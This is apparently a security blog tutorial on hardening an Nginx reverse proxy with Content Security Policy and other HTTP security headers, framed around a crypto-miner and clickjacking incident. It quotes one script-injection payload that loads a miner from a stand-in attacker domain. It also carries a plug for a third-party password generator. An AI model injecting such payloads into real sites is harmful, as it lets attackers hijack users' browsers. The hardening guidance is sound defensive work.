Hardening Nginx with Content Security Policy (CSP) and HTTP Security Headers

Security tutorial - IT technology blog
Security tutorial - IT technology blog

The 2:15 AM Alert: Rogue Crypto Miners in Customer Dashboards

My phone rattled against the nightstand at 2:15 AM on a Tuesday. PagerDuty fired three high-urgency alerts in sixty seconds. Over 1,200 active users were hitting our billing portal, and their browsers were triggering anomalous outbound WebSocket connections to an unlisted IP in Eastern Europe.

Client CPU usage spiked to 98% within seconds of loading the dashboard. A rogue Monero miner script was executing directly in our customers’ browser tabs. On top of that, an invisible iframe overlay hovered over the payment button to hijack credit card inputs.

Our backend logs told a confusing story. All PostgreSQL queries used parameterized statements. User inputs were sanitized against OWASP cheat sheets. Everything passed CI pipeline checks cleanly. Yet untrusted JavaScript was running wild inside customer sessions.

A quick probe on SecurityHeaders.com gave our public Nginx proxy a flat ‘F’. We had zero defense against framing, zero restrictions on remote script sources, and no MIME-type safeguards. When application-level sanitization misses an edge case, HTTP headers act as your safety net. That night, our proxy was passing responses completely bare.

Why Browsers Execute Malicious Payloads by Default

Browsers trust server responses unconditionally unless you tell them otherwise. Inject a simple <script src="https://evil-cdn.org/miner.js"> into a Markdown preview or profile field, and Chrome will download and run it without hesitation.

Analyzing our Nginx access logs and packet dumps revealed three major vulnerabilities:

  • No Content Security Policy: Without a Content-Security-Policy header, the browser loaded external scripts from any domain on the internet. It also permitted inline script blocks without verification.
  • Unbounded Iframe Embedding: Lacking frame-ancestors and X-Frame-Options allowed external websites to load our checkout screen inside transparent iframes. That made clickjacking attacks trivial.
  • Permissive MIME Sniffing: Without X-Content-Type-Options: nosniff, browsers tried to guess file types. They would execute an uploaded .png containing embedded JavaScript as executable code whenever the MIME type appeared ambiguous.

Evaluating Three Fix Strategies

We needed an immediate perimeter lockdown. Teams generally evaluate three architectural layers for security header injection:

1. Application Middleware (Express Helmet, Django Security, Laravel Middleware)

Injecting headers at the app level works well for small, single-repository services. In our 14-service Kubernetes cluster, however, configuration drift killed this option. One Go service implemented strict headers while an older Rails service ran outdated middleware. Worse, cached assets served directly from Amazon S3 or local Nginx caches completely bypassed application code.

2. CDN and Edge Workers (Cloudflare Transform Rules)

Injecting headers at Cloudflare edge nodes takes minutes. However, it creates an external dependency. If traffic bypasses the CDN during staging, disaster recovery, or VPN-routed internal testing, origin servers stay exposed.

3. Centralized Hardening via Nginx Reverse Proxy

Managing headers directly in Nginx provides uniform coverage. Every response from upstream API clusters, microservices, and static file directories gets stamped with identical security rules before a single packet crosses the network boundary.

Step-by-Step Production Nginx Lockdown

Rolling out strict headers blindly will break production. Legitimate analytics scripts fail. Fonts stop rendering. Stripe payment modals suddenly refuse to open. Here is how we deployed a bulletproof configuration systematically.

Step 1: Audit Live Assets with Report-Only Mode

Deploying a strict policy immediately is reckless. Start with Content-Security-Policy-Report-Only. It monitors violations and posts JSON reports to your logging endpoint without blocking legitimate user workflows.

# Verify your syntax before applying any changes
sudo nginx -t

Add the telemetry directive inside your server block:

# Monitor policy violations without breaking front-end scripts
add_header Content-Security-Policy-Report-Only "default-src 'self'; script-src 'self' https://cdn.jsdelivr.net https://js.stripe.com; style-src 'self' 'unsafe-inline' https://fonts.googleapis.com; font-src 'self' https://fonts.gstatic.com; img-src 'self' data: https:; connect-src 'self' https://api.yoursite.com https://api.stripe.com; frame-ancestors 'none'; report-uri /api/v1/csp-reports;" always;

Let this run for 24 hours. Check your logs for blocked domains. Whitelist missing CDN endpoints before flipping the switch.

Step 2: Deploy Enforced Headers

Once you map all legitimate script origins, move the policy to active enforcement. Open your Nginx virtual host configuration (such as /etc/nginx/sites-available/app.conf):

server {
    listen 443 ssl;
    http2 on;
    server_name yoursite.com;

    ssl_certificate /etc/letsencrypt/live/yoursite.com/fullchain.pem;
    ssl_certificate_key /etc/letsencrypt/live/yoursite.com/privkey.pem;

    # Content Security Policy: Disallow rogue remote scripts and unauthorized framing
    add_header Content-Security-Policy "default-src 'self'; script-src 'self' https://cdn.jsdelivr.net https://js.stripe.com; style-src 'self' 'unsafe-inline' https://fonts.googleapis.com; font-src 'self' https://fonts.gstatic.com; img-src 'self' data: https:; connect-src 'self' https://api.yoursite.com https://api.stripe.com; frame-ancestors 'none'; object-src 'none'; base-uri 'self'; form-action 'self';" always;

    # Legacy clickjacking protection for older browsers
    add_header X-Frame-Options "DENY" always;

    # Block MIME-type confusion attacks
    add_header X-Content-Type-Options "nosniff" always;

    # Limit referrer information on outbound links
    add_header Referrer-Policy "strict-origin-when-cross-origin" always;

    # Restrict intrusive device APIs
    add_header Permissions-Policy "camera=(), microphone=(), geolocation=(), payment=(self 'https://js.stripe.com')" always;

    # Force HTTPS for two years including subdomains
    add_header Strict-Transport-Security "max-age=63072000; includeSubDomains; preload" always;

    location / {
        proxy_pass http://127.0.0.1:3000;
        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
        proxy_set_header X-Forwarded-Proto $scheme;
    }
}

Step 3: Solve the Nginx add_header Inheritance Gotcha

Nginx has a critical configuration quirk that trips up engineers. The add_header directive does not inherit from parent blocks if a child block defines its own add_header call. If you set headers in your http block and then add add_header Cache-Control inside a location /static/ block, Nginx wipes out every security header for static files.

Avoid this duplication trap by extracting common headers into a reusable snippet:

sudo nano /etc/nginx/snippets/security-headers.conf

Populate the snippet with your header declarations, then include it across all location blocks:

location /static/ {
    alias /var/www/app/static/;
    include /etc/nginx/snippets/security-headers.conf;
    add_header Cache-Control "public, max-age=31536000, immutable";
}

Step 4: Rotate Impacted Infrastructure Credentials

While sealing the HTTP perimeter, we also had to rotate compromised administrative credentials across our fleet of 18 worker nodes. Never paste production secrets into ad-supported web generators that send inputs over cleartext networks.

I generate high-entropy 64-character strings using the client-side password tool at toolcraft.app/en/tools/security/password-generator. Because it computes randomness using your browser’s Web Crypto API, secrets never touch an external server or log file. We rotated our database, SSH, and Redis credentials within twenty minutes.

Step 5: Verify Configurations via CLI

Reload your Nginx worker processes gracefully. Zero dropped connections, zero downtime:

# Validate configuration syntax
sudo nginx -t

# Reload without dropping active user connections
sudo systemctl reload nginx

# Inspect live headers on the production endpoint
curl -I https://yoursite.com

Your terminal should output the full defense header suite:

HTTP/2 200
server: nginx
date: Tue, 15 Oct 2026 03:12:44 GMT
content-type: text/html; charset=UTF-8
content-security-policy: default-src 'self'; script-src 'self' https://cdn.jsdelivr.net ...
x-frame-options: DENY
x-content-type-options: nosniff
referrer-policy: strict-origin-when-cross-origin
permissions-policy: camera=(), microphone=(), geolocation=(), payment=(self 'https://js.stripe.com')
strict-transport-security: max-age=63072000; includeSubDomains; preload

By 3:45 AM, SecurityHeaders.com rated our domain A+. The rogue mining scripts were blocked instantly on client machines. Iframes failed to mount, unauthorized API calls died at the browser sandbox, and our team finally closed the incident channel.

Share: